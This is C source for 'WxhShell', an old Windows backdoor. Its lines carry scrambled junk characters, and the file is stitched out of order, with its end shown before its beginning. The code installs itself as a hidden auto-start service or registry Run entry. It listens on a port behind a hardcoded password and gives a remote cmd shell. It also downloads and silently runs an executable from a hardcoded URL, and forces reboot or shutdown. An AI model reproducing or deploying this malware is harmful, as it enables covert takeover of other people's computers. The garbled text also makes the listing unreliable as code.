    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S=nzw-(I  
    else { MIoEauf  
    closesocket(wsh); I`LuRl w  
    ExitThread(0); $!(pF  
    } Jjv=u   
    break; M|qteo  
    } H {k^S\K  
  // 获取shell * %M3PTY\  
  case 's': { ( ?{MEwHG  
    CmdShell(wsh); Q=T&  
    closesocket(wsh); j|%HIF25  
    ExitThread(0); U,q\em R  
    break; 7C ,UDp|  
  } .wu xoq  
  // 退出 w1#gOwA,$  
  case 'x': { ?zVL;gVWA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f[~L?B;_L  
    CloseIt(wsh); ;)e2 @'Agl  
    break; D-(w_$#  
    } 3G~@H>j  
  // 离开 Z1Z1@2 T  
  case 'q': {  !@'6)/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oMTf"0EIW  
    closesocket(wsh); JJ'.((  
    WSACleanup(); *B{j.{ p(  
    exit(1); [E JQ>?D  
    break; Jesjtcy<*  
        } [P7N{l=I  
  } &2zq%((r  
  } +0q>fp_K(+  
e\JojaV  
  // 提示信息 Pgus42f%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O1*NzY0Y%-  
} BWuqo  
  } OYmR<x5y/  
4NG?_D5&  
  return; WRDjh7~Efn  
} .Pw\~X3!  
ugx%_x6  
// shell模块句柄 fUQ6Z,9  
int CmdShell(SOCKET sock) ?Poq2  
{ ehG/zVgn  
STARTUPINFO si; Ve!fU  
ZeroMemory(&si,sizeof(si)); D{d>5P?W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HnCzbt@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m"jV}@agX  
PROCESS_INFORMATION ProcessInfo; ) ^3avRsC  
char cmdline[]="cmd"; (tGY%oT"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P(73!DT+  
  return 0; oK%K}{`  
} hcbv;[bG  
A\#P*+k0  
// 自身启动模式 o b|BXF  
int StartFromService(void) Y +\%  
{ y K2^Y]Ku?  
typedef struct '@CR\5 @  
{ ^:* 1d \  
  DWORD ExitStatus; | j a-  
  DWORD PebBaseAddress; jSuL5|Gui  
  DWORD AffinityMask; cEd+MCN  
  DWORD BasePriority; %ck]S!}6  
  ULONG UniqueProcessId; 70mpSD3  
  ULONG InheritedFromUniqueProcessId; Cp]"1%M,  
}   PROCESS_BASIC_INFORMATION; Bv. `R0e&  
`z )N,fF  
PROCNTQSIP NtQueryInformationProcess; 1YJC{bO  
FH%GIi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !o+_T?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]mXLg:3B  
|7pR)KH3  
  HANDLE             hProcess; \Z/)Y;|mi0  
  PROCESS_BASIC_INFORMATION pbi; ]&{ci  
@L:>!<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 01. &> Duw  
  if(NULL == hInst ) return 0; {$^DMANDx  
gzD@cx?V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0 Ir<y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gkxj?)`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;6{@^  
N**g]T 0`  
  if (!NtQueryInformationProcess) return 0; p6XtTx  
xvSuPP4 m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &gE 75B  
  if(!hProcess) return 0; mA@Me7m}  
Iu *^xn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C 2w2252T  
5W@jfh)  
  CloseHandle(hProcess); v[n7"  
D.6,VY H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -+em!g'  
if(hProcess==NULL) return 0; 'EfR|7m  
4r0b)Y &I  
HMODULE hMod; Yl$SW;@  
char procName[255]; g@Qgxsyk>  
unsigned long cbNeeded; b (I2m  
PeE/iZ.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6q6FB  
%F*|;o7s  
  CloseHandle(hProcess); *d',Vuv&[  
d'Axum@  
if(strstr(procName,"services")) return 1; // 以服务启动 u}|%@=xn  
>xn}N6Rj2~  
  return 0; // 注册表启动 ulJX1I=|p  
} n%\ /J  
2{.QjYw^  
// 主模块 \S)2  
int StartWxhshell(LPSTR lpCmdLine) $VQtwuYt  
{ =FT98H2*|  
  SOCKET wsl; n7YEG-J  
BOOL val=TRUE; VCcr3Dx()F  
  int port=0; *I0-O*Xr  
  struct sockaddr_in door; rUjdq/I:Z  
oejfU;+$  
  if(wscfg.ws_autoins) Install(); M}wXJ8aF?  
5 VA(tzmCt  
port=atoi(lpCmdLine); q0bHB_|wL  
?`Y\)'}   
if(port<=0) port=wscfg.ws_port; <x),,a=X  
:g\rQazxO  
  WSADATA data; LR,7,DH$9'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5I@w~z  
6k/U3&R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DK&h eVIoZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %&\jOq~  
  door.sin_family = AF_INET; Lh-`OmO0>F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WmQ 01v  
  door.sin_port = htons(port); )*d W=r/$V  
sfVf@0g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Y17*zp%  
closesocket(wsl); :p4"IeKs  
return 1; j9/-"dTL  
} 1lnU77;  
7gS1~Q4\V2  
  if(listen(wsl,2) == INVALID_SOCKET) { $8BE[u|H2  
closesocket(wsl); U`x bPQ  
return 1; Q\3 Z|%  
} 1Fi86  
  Wxhshell(wsl); qJ_1*!!91  
  WSACleanup(); Sm2>'C  
8Z2.`(3c[  
return 0; l**;k+hw  
RP`2)/sMT  
} \M/6m^zS  
$,hwU3RVxc  
// 以NT服务方式启动 ? QDWuPhN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +/+P\O  
{ D=)f )-u'  
DWORD   status = 0; T/P7F\R  
  DWORD   specificError = 0xfffffff; d'9:$!oz  
9><mp]E4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e[t<<u3"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 41 vL"P K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i NWC6y  
  serviceStatus.dwWin32ExitCode     = 0; -NBiW6b~  
  serviceStatus.dwServiceSpecificExitCode = 0; ,A5)<}  
  serviceStatus.dwCheckPoint       = 0; ]> Y/r-!  
  serviceStatus.dwWaitHint       = 0; L{ymI) Y^  
XO F1c3'H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #m8sK(#lo  
  if (hServiceStatusHandle==0) return; p '{xoV  
})IO#,  
status = GetLastError(); W:QwHZ2O  
  if (status!=NO_ERROR) r++i=SQax  
{ :<~7y.*O{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~mN% (w!^  
    serviceStatus.dwCheckPoint       = 0; )J3kxmlzQ  
    serviceStatus.dwWaitHint       = 0; ".~{:=  
    serviceStatus.dwWin32ExitCode     = status; uC]Z8&+obb  
    serviceStatus.dwServiceSpecificExitCode = specificError; #rYENR[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u; TvS |  
    return; WIh@y2&R  
  } p11G#.0  
i3 )xX@3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v&MU=Tcqi  
  serviceStatus.dwCheckPoint       = 0; r5/R5Ga^  
  serviceStatus.dwWaitHint       = 0; cVq}c?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wX'}4Z=C~  
} $rG<uO  
B">yKB:D}t  
// 处理NT服务事件,比如:启动、停止 3An(jt$%Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1;W=!Fx  
{ Z#Lx_*p]Q  
switch(fdwControl) 8Xm@r#Oy5  
{ u=qPzmywt  
case SERVICE_CONTROL_STOP:  c!uW}U_z  
  serviceStatus.dwWin32ExitCode = 0; chAan~r[*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (=T$_-Dj`}  
  serviceStatus.dwCheckPoint   = 0; =`I?mn&  
  serviceStatus.dwWaitHint     = 0; 3,.% s  
  { -0,4eg j3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +EASAq  
  } 8kW/DcLE  
  return; %TK&)Q% h5  
case SERVICE_CONTROL_PAUSE: O=jN&<rb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DPJh5d  
  break; MPRO !45Z  
case SERVICE_CONTROL_CONTINUE: 3^G96]E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mT_GrIl[  
  break; CJq c\I~  
case SERVICE_CONTROL_INTERROGATE: E:VGji7s  
  break; <uF [,  
}; "'eWn6O(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <4D%v"zRP  
} hr U :Wr  
X_70]^XL  
// 标准应用程序主函数 mPmB6q%)]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \].J-^=  
{ WSI Xj5R  
(Imp $  
// 获取操作系统版本 =2oUZjA  
OsIsNt=GetOsVer(); D&[Z;,CHMA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [{PqV):p  
E5B8 Z?$a  
  // 从命令行安装 H(\V+@~>AD  
  if(strpbrk(lpCmdLine,"iI")) Install(); i@$-0%,  
*e<_; Kr?  
  // 下载执行文件 _F8T\f |  
if(wscfg.ws_downexe) { LC'2q*:'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( D}" &2  
  WinExec(wscfg.ws_filenam,SW_HIDE); |@`"F5@,  
} *:arva5  
Sa}D.SBg  
if(!OsIsNt) { bc}dYK3$q  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ u1Q-:  
HideProc(); sA_X<>vAKJ  
StartWxhshell(lpCmdLine); kQ}s/*  
} +?e}<#vd'?  
else &LU'.jY  
  if(StartFromService()) jpO38H0)  
  // 以服务方式启动 XZ:1!;  
  StartServiceCtrlDispatcher(DispatchTable); 9oq)X[  
else 5V|tXsy:  
  // 普通方式启动 *j<@yG2\gP  
  StartWxhshell(lpCmdLine); O: u%7V/  
Wg1tip8s  
return 0; L<@&nx   
} $'$>UFR  
R|t;p!T  
#,P(isEZ"  
Gj`f--2GE  
=========================================== Ve14rn  
%vc'{`P  
^W['A]l  
MxN]7  
A[ 1)!e  
~_}4jnC  
" J<_1z':W)  
XZ@ >]P  
#include <stdio.h> R`C.ha  
#include <string.h> ^I./L)0= }  
#include <windows.h> X RRJ)}P  
#include <winsock2.h> |Qu_E  
#include <winsvc.h> `Xqy  
#include <urlmon.h> @}G|R\2P  
;qT5faKB3J  
#pragma comment (lib, "Ws2_32.lib") `GkRmv*  
#pragma comment (lib, "urlmon.lib") M+UMR+K  
kh&_#,  
#define MAX_USER   100 // 最大客户端连接数 e3rfXhp  
#define BUF_SOCK   200 // sock buffer R1 qMg+  
#define KEY_BUFF   255 // 输入 buffer AJWLEc4XK  
Vw?P.4  
#define REBOOT     0   // 重启 Ty}R^cy{d  
#define SHUTDOWN   1   // 关机 bBFwx@  
;8EjjF [>  
#define DEF_PORT   5000 // 监听端口 ) ]]|d  
U$EM.ot  
#define REG_LEN     16   // 注册表键长度 <tQXK;  
#define SVC_LEN     80   // NT服务名长度 83xd@-czgh  
TA9dkYlE/  
// 从dll定义API b.(XS?4o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T]X{ @_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f<=^ 4a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s KCGuw(mh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Q,n+ /  
n% U9iwJ.  
// wxhshell配置信息 UNY@w=]<  
struct WSCFG { k7b(QADqUU  
  int ws_port;         // 监听端口 7C YH'DL  
  char ws_passstr[REG_LEN]; // 口令 Rh yegD  
  int ws_autoins;       // 安装标记, 1=yes 0=no sx90lsu  
  char ws_regname[REG_LEN]; // 注册表键名 |Rk37P {  
  char ws_svcname[REG_LEN]; // 服务名 4Qhx[Hv>(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aZC*7AK   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _3zU,qm+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zCM^r <Kr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z.A4x#>-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k2wBy'M .'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j>V"hf  
=*[, *A  
}; eAU"fu6d  
r)%4-XeV  
// default Wxhshell configuration eFes+i(35  
struct WSCFG wscfg={DEF_PORT, 1 S^'C2/b  
    "xuhuanlingzhe", cnC_#kp  
    1, C,R,:zR  
    "Wxhshell", &(WE]ziuO  
    "Wxhshell", % M+s{ l  
            "WxhShell Service", SUSc  
    "Wrsky Windows CmdShell Service", ;,FT&|3o  
    "Please Input Your Password: ", KdS eCeddW  
  1, =sL(^UISl  
  "http://www.wrsky.com/wxhshell.exe", *;Ak5.du  
  "Wxhshell.exe" Ep,1}Dx  
    }; .M}06,-  
8R BDJ  
// 消息定义模块 JPHUmv6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lq3(Z%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Q8g?TZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IBzHR[#,^  
char *msg_ws_ext="\n\rExit."; kA1f[ AL  
char *msg_ws_end="\n\rQuit."; j}i,G!-u  
char *msg_ws_boot="\n\rReboot...";  KhLg*EL  
char *msg_ws_poff="\n\rShutdown..."; Mi_[9ku>%  
char *msg_ws_down="\n\rSave to "; XlE$.  
osI- o~#>  
char *msg_ws_err="\n\rErr!"; jg7d7{{SB  
char *msg_ws_ok="\n\rOK!"; aYqqq|  
9Zs #Ky/  
char ExeFile[MAX_PATH]; (di)`D5Q  
int nUser = 0; OE5X8DqQe  
HANDLE handles[MAX_USER]; d5N)^\z  
int OsIsNt; ;&/sj-xJ2  
[))gn  
SERVICE_STATUS       serviceStatus; aS3P(s L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >9<_s ^_  
6R0D3kW  
// 函数声明 }3bQ>whF  
int Install(void); K lPm=  
int Uninstall(void); U$MWsDn   
int DownloadFile(char *sURL, SOCKET wsh); ?< -wHj)  
int Boot(int flag); =mDy@%yx!  
void HideProc(void); IJ+O),'  
int GetOsVer(void); ~:R4))qpg  
int Wxhshell(SOCKET wsl); mxtlr)  
void TalkWithClient(void *cs); Rc;1Sm9\  
int CmdShell(SOCKET sock);  ]v/t8`  
int StartFromService(void); 39'X$!  
int StartWxhshell(LPSTR lpCmdLine); 7)g;Wd+H  
Iwnj'R7:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `#-p,NElV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -Pv P  
,^UcRZ8.H  
// 数据结构和表定义 bEBZ!ghU  
SERVICE_TABLE_ENTRY DispatchTable[] = h[vAU 9f)  
{ ke{DFq h  
{wscfg.ws_svcname, NTServiceMain}, $Vd?K@W[h  
{NULL, NULL} qb#V)  
}; _SU,f>  
lr)G:I#|  
// 自我安装 h#$ _<U  
int Install(void) M80}3mgP~  
{ _Y}^%eFw  
  char svExeFile[MAX_PATH]; ?z*W8b]'  
  HKEY key; ]W89.><%14  
  strcpy(svExeFile,ExeFile); n=lggBRx  
c80"8r  
// 如果是win9x系统,修改注册表设为自启动 D N2hv2  
if(!OsIsNt) { KFCQYdI`d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wWp?HDl"M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RlG'|xaT  
  RegCloseKey(key); |:`?A3^m#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bcGn8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y/QK+UMW*  
  RegCloseKey(key); C.DoXE7  
  return 0; V>~*]N^f  
    } q>Dr)x)  
  } A- <.#  
} WV9[DFU  
else { t!+%g) @  
7$E2/@f  
// 如果是NT以上系统,安装为系统服务 %3#b6m~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #d7)$ub  
if (schSCManager!=0) zIX}[l4EW~  
{ 8' WLm  
  SC_HANDLE schService = CreateService ^hGZVGSv  
  ( LNsE7t  
  schSCManager, D/ NIn=>j  
  wscfg.ws_svcname, arpJiG~JR  
  wscfg.ws_svcdisp, 8trm`?>  
  SERVICE_ALL_ACCESS, bCe[nmE2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oW\Q>c7 =  
  SERVICE_AUTO_START, r zc 3k~@  
  SERVICE_ERROR_NORMAL, % B7?l  
  svExeFile, AZBY, :>D  
  NULL, ]G$!/vXP  
  NULL, ;NvhL|R  
  NULL, C/grrw  
  NULL, \, X?K  
  NULL P17]}F``  
  ); $n_sGr  
  if (schService!=0) Rqv+N]  
  { T`0`]z!~  
  CloseServiceHandle(schService); Mz% d_  
  CloseServiceHandle(schSCManager); ]xVL11p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SO8|]Fk  
  strcat(svExeFile,wscfg.ws_svcname); *o2_EqXL*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GtGyY0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l.Lc]ZpB  
  RegCloseKey(key); {#d`&]  
  return 0; Jf8'N ot  
    } sIQMUC[!  
  } PhI{3B/  
  CloseServiceHandle(schSCManager); 123-i,epg  
} P dE)m/  
} dzk?Zg  
>u%[J!Y;;  
return 1; eN7yjd'Y6  
} PT= 2LZ  
! Dhfr{  
// 自我卸载 eQ4B5B%j/x  
int Uninstall(void) \t 7zMp  
{ +q>C}9s3  
  HKEY key; &  t @  
rUJSzLy  
if(!OsIsNt) { ygu?w7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '~!l(&X  
  RegDeleteValue(key,wscfg.ws_regname); +&@l{x(,  
  RegCloseKey(key); RM / s :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9EY_R&Yq%  
  RegDeleteValue(key,wscfg.ws_regname); >LRaIU>  
  RegCloseKey(key); `;8u9Ff  
  return 0; !{|yAt9kP  
  } x,@O:e  
} o2t@-dNi  
} 4$#ia F  
else { O,z%7><  
1tK6lrhj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d#$i/&gE  
if (schSCManager!=0) FCw VVF0 y  
{ 2* cKFv{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FnU{C=P  
  if (schService!=0) I "+|cFq.  
  { 62KW HB9S  
  if(DeleteService(schService)!=0) { >G -?e!  
  CloseServiceHandle(schService);  MYW 4@#  
  CloseServiceHandle(schSCManager); OYCFx2{  
  return 0; ,4?|}xg  
  } hJL0M!  
  CloseServiceHandle(schService); EJiF_  
  } U#^:f7-$.  
  CloseServiceHandle(schSCManager); I n%yMH8  
} 1Y"y!\t7G  
} GCmVmOdKr  
7H@Cy}a  
return 1; zz''FmedF  
} -V)5Tr=  
?f%DVK d  
// 从指定url下载文件 $f@-3/V6{  
int DownloadFile(char *sURL, SOCKET wsh) ?&t|?@  
{ M<me\s)  
  HRESULT hr; 0.,&B5)  
char seps[]= "/"; M}RFFg  
char *token; kv FOk  
char *file; 7G #e~,M5  
char myURL[MAX_PATH]; '}[L sU  
char myFILE[MAX_PATH]; c^/?VmCQ}  
nV6g]#~ @  
strcpy(myURL,sURL); g960;waz3  
  token=strtok(myURL,seps); ri_6 wbPp  
  while(token!=NULL) `oI/;&  
  { x'PjP1  
    file=token; 'jO-e^qT  
  token=strtok(NULL,seps); u\\niCNA  
  } mJ#B<I'  
n"VE!`B  
GetCurrentDirectory(MAX_PATH,myFILE); ;@UX7NA  
strcat(myFILE, "\\"); _-2n3py  
strcat(myFILE, file); _|V+["IS  
  send(wsh,myFILE,strlen(myFILE),0); V,%5 hl'&  
send(wsh,"...",3,0); %)@(T ye -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7]+'%Uwu)  
  if(hr==S_OK) t~=@r9`S  
return 0; IF21T  
else G6g=F+X2  
return 1; "I 1M$^8n  
d}G."wnG9,  
} 6je%LHhL  
BN> $LL  
// 系统电源模块 AG!a=ufc0  
int Boot(int flag) \7?MUa.4  
{ 74N\G1  
  HANDLE hToken; rnrx%Q  
  TOKEN_PRIVILEGES tkp; `e69kBAm  
MrjB[3Td  
  if(OsIsNt) { %^BOYvPx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i: uA&9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 544I#!  
    tkp.PrivilegeCount = 1; u+T, n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SCC/ <o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u~Cqdr5 \l  
if(flag==REBOOT) { \:^n-D*fX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y:Tt$EQ  
  return 0; :jp$X|  
} "S} hcAL/  
else { +mF 2yh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aD`e]K ^L  
  return 0; zU=[Kc=$  
} +4vX+;: br  
  } &(1NOyX&  
  else { G U/k^ Qy  
if(flag==REBOOT) { NjMLq|X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4o8HEq!  
  return 0; M L_J<|,J  
} ;SP3nU))  
else { ZQ8Aak  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y2$`o4*3  
  return 0; 5rSth.&  
} aWK7 -n  
} \crmNH)3  
X-WvKH(=w  
return 1; fmyS# 6"  
} dfd%A" I  
B{u.Yc:  
// win9x进程隐藏模块 F?4'>ZW  
void HideProc(void) *qOCo_=P8  
{ ;a77YL TQ  
&3/H P)*<]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YLd%"H $n  
  if ( hKernel != NULL ) `I<|*vW u  
  { #FM 'S|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E8 )*HOT_T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 30-w TcG  
    FreeLibrary(hKernel); fxa^SV   
  } / 1GZN *I  
FAGVpO[  
return; U9OF0=g  
} (G;*B<|A  
R-|]GqS}L  
// 获取操作系统版本 P"VLGa  
int GetOsVer(void) 4r!40^:2  
{ FNO lR>0e  
  OSVERSIONINFO winfo; 7q1l9:VYE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |pg5m*h  
  GetVersionEx(&winfo); L{Zy7O]"d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M:M<bz Vu  
  return 1; 0Jif.<  
  else zW&W`(  
  return 0; ^(B*AE.  
} "61n?Z#,M[  
sZ$ ~abX  
// 客户端句柄模块 8=Ht+Br  
int Wxhshell(SOCKET wsl) \OB3gnR  
{ 6g&nnA  
  SOCKET wsh; \Ki#"%S  
  struct sockaddr_in client; [K QZHIe  
  DWORD myID; T!E LH!  
(]dZ+"O{  
  while(nUser<MAX_USER) <H#K`|Ag  
{ j3F=P  
  int nSize=sizeof(client); *mt v[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r4zS,J;,  
  if(wsh==INVALID_SOCKET) return 1; GT0'bge  
+?'acn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v#G ^W  
if(handles[nUser]==0) $cCB%}  
  closesocket(wsh); q>Y[.c-  
else ddxv.kIj.  
  nUser++; S?<Qa;  
  } l"#,O$x"#@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V&85<Y%Nl|  
s*Ll\#  
  return 0; ],4LvIPD  
} s|oU$?eA  
Wn5]2D\vkT  
// 关闭 socket ["9$HL  
void CloseIt(SOCKET wsh) ('oUcDOFTS  
{ JASn\z  
closesocket(wsh); ?a(3~dh|  
nUser--; ay.IKBXc  
ExitThread(0); $r_gFv  
} g#*N@83C  
aKO@_R,:  
// 客户端请求句柄 VVOt%d  
void TalkWithClient(void *cs) :Tl?yG F  
{ N<WFe5  
L1BpY-=  
  SOCKET wsh=(SOCKET)cs; 'z:p8"h}  
  char pwd[SVC_LEN]; b.+\qaR  
  char cmd[KEY_BUFF]; .(ir2g  
char chr[1]; >Fh@:M7z  
int i,j; }% *g\%L  
i&KODhMpP  
  while (nUser < MAX_USER) { a4YyELXe  
^(3k uF  
if(wscfg.ws_passstr) { `Ea3z~<7M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?;Qk!t2U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K<(R Vh  
  //ZeroMemory(pwd,KEY_BUFF); [OSUARm v  
      i=0; 29oEkaX2o  
  while(i<SVC_LEN) { ]Re<7_xt  
xOlkG*3c  
  // 设置超时 g11K?3*%Q  
  fd_set FdRead; g(^l>niF:  
  struct timeval TimeOut; =\.|'  
  FD_ZERO(&FdRead); w8Yff[o  
  FD_SET(wsh,&FdRead); |Sq>uC)  
  TimeOut.tv_sec=8; $G[##j2  
  TimeOut.tv_usec=0; he #iWD'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C/=ZNl9"fn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J^cDa|j  
I(SE)%!%S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |)?T([  
  pwd=chr[0]; U$}]zaB  
  if(chr[0]==0xd || chr[0]==0xa) { w.\:I[  
  pwd=0; th{h)( +H  
  break; vP!gLN]TV  
  } OJaU,vQ#  
  i++; ;f\0GsA#  
    } Nx__zC^r  
5ZLH=8L  
  // 如果是非法用户,关闭 socket '(}BfDP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VTU-'q  
} Rx.0P6s  
nYHk~<a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J4 <*KL~a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nnw iH  
;N|6C+y  
while(1) { `4MPXfoBL  
K""04Ew*pV  
  ZeroMemory(cmd,KEY_BUFF); R0WJdW#  
 "d'@IN  
      // 自动支持客户端 telnet标准   >8Y >B)  
  j=0; :Pv{ E  
  while(j<KEY_BUFF) { js j" W&J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LCt m@oN  
  cmd[j]=chr[0]; Ue7~rPdlR  
  if(chr[0]==0xa || chr[0]==0xd) { '4iu0ie>D  
  cmd[j]=0; Jx]`!dP3  
  break; U\N`[k.F  
  } bZ)Jgz  
  j++; ;FU d.vg{  
    } n"JrjvS  
Kfh"XpWc$  
  // 下载文件 6 S8#[b  
  if(strstr(cmd,"http://")) { [(hENX}o :  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Jm_2CN7X  
  if(DownloadFile(cmd,wsh)) E+gUzz5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qluyJpt  
  else @({65gJ*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<*-, f  
  } JW$#~"@r  
  else { Kxq~,g=t  
d;z`xy(C  
    switch(cmd[0]) { 8mi IlB  
  +q1@,LxN  
  // 帮助 J<2N~$  
  case '?': { ]du pU"VV  
